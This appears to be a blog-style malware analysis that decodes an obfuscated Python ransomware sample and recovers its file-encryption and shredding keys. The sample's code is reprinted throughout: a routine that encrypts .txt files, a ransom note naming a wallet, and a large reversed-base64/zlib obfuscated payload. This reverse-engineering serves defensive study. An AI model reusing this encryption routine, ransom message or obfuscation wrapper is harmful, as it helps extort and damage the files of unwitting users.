def encrypt_files(lsoeiuw): for file in glob.glob(f"{lsoeiuw}/*.txt"): with open(file, "r", encoding="utf-8") as f: data = f.read() ldoeigtt = ksii344(data, ouiiiiiiiiipppppppppppppppp) with open(file, "w", encoding="utf-8") as f: f.write(ldoeigtt) print(f"You are hacked , To recover your fls, show me your kindness in my wallet 0x6972fab392e. DELAI : 5 Days.") def ksii34e(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii34f(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii34s(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii34k(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) _ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));print((_)(b'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'))

Ohhh, now this leaves us two important functions :

  • encrypt_files
def encrypt_files(lsoeiuw): for file in glob.glob(f"{lsoeiuw}/*.txt"): with open(file, "r", encoding="utf-8") as f: data = f.read() ldoeigtt = ksii344(data, ouiiiiiiiiipppppppppppppppp) with open(file, "w", encoding="utf-8") as f: f.write(ldoeigtt) print(f"You are hacked , To recover your fls, show me your kindness in my wallet 0x6972fab392e. DELAI : 5 Days.")

It does a simple encryption of .txt files using the ksii344 function, and then prints You are hacked , To recover your fls, show me your kindness in my wallet 0x6972fab392e. DELAI : 5 Days.

Interesting, but what is the ksii344 ? its the same function used for shredding, except it doesnt include a seperator. (VIGENERE)

  • lambda
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));print((_)(b'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'))

This obfuscation is very known, its typically an online tool.

alt text

How to deobfuscate it? we can simply create a program for it or just google a bit, if we decode the base64 payload, we find another encoded exec …

I created one

decode_obfuscated = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1])) string = 'iwnFq9z++//PyXJuhgcjGvfnmktov.........' for i in range(100): try: temp = decode_obfuscated(string) string = temp[11:-3] except: print(temp) print(string) break

alt text

after beautifying the result code, we get

if __name__ == "__main__": with open("env", "r") as djts: lkj = djts.read()[:-1] env = lkj ouiiiiiiiiipppppppppppppppp = lllllllllllllll("h@YJ@H--FEON|||S..P@##ENJJ__SRfeiois@@jw#re1f--1ed-es").replace('_', '').replace('.', '').replace('|', '').replace('1', '').replace('-', '').replace('#', '').replace('@', '') sowiaaaandowTgsRETfs = lllllllllllllll("@r@3_w_0#1l___T...|....|..Ide||||@#e##||...............r---------h_S")[::-1].replace('_', '').replace('.', '').replace('|', '').replace('1', '').replace('-', '').replace('#', '').replace('@', '') XXXXXXXXXJSPRRRJSDSAUDJSNSNSWI() encrypt_files(os.path.expanduser("."))

Niice, now the malware is fully recovered, lets hunt for the key that encryppts the .txt files, as a remainder the env = lkj is the seperator.

The ouiiiiiiiiipppppppppppppppp seems to contain the data hYJHFEONSPENJJSRfeioisjwrefedes, also the sowiaaaandowTgsRETfs variable that after decoding it we got the key ShreedITl0w3r used for shredding (we found previously).

So finally we found that hYJHFEONSPENJJSRfeioisjwrefedes is the key to decrypt the encrypted files.

ANALYSIS DONE. Hope you got it.

From Confusion to Clarity: The Hunting Process#

Because they make reverse engineering and static analysis much more difficult, obfuscation and shredding techniques are essential in malware development and CTF challenge design. These techniques cause layers of confusion for analysts by encoding strings in complex ways, hiding meaningful variable names, adding redundant or misleading code, and dynamically assembling crucial data at runtime. Obfuscation and shredding are effective tools for evasion and educational challenge crafting because they not only postpone detection and comprehension but also make it difficult for the reverse engineer to discern between actual functionality and noise.

I hope you got some knowledge from this blog, and in other blog INCHAALAH.

Technical Deep Dive: Obfuscation and Shredding Techniques in Malwares
https://fuwari.vercel.app/posts/threathunting1/
Author
Sn4ke_Ey3s
Published at
2025-04-01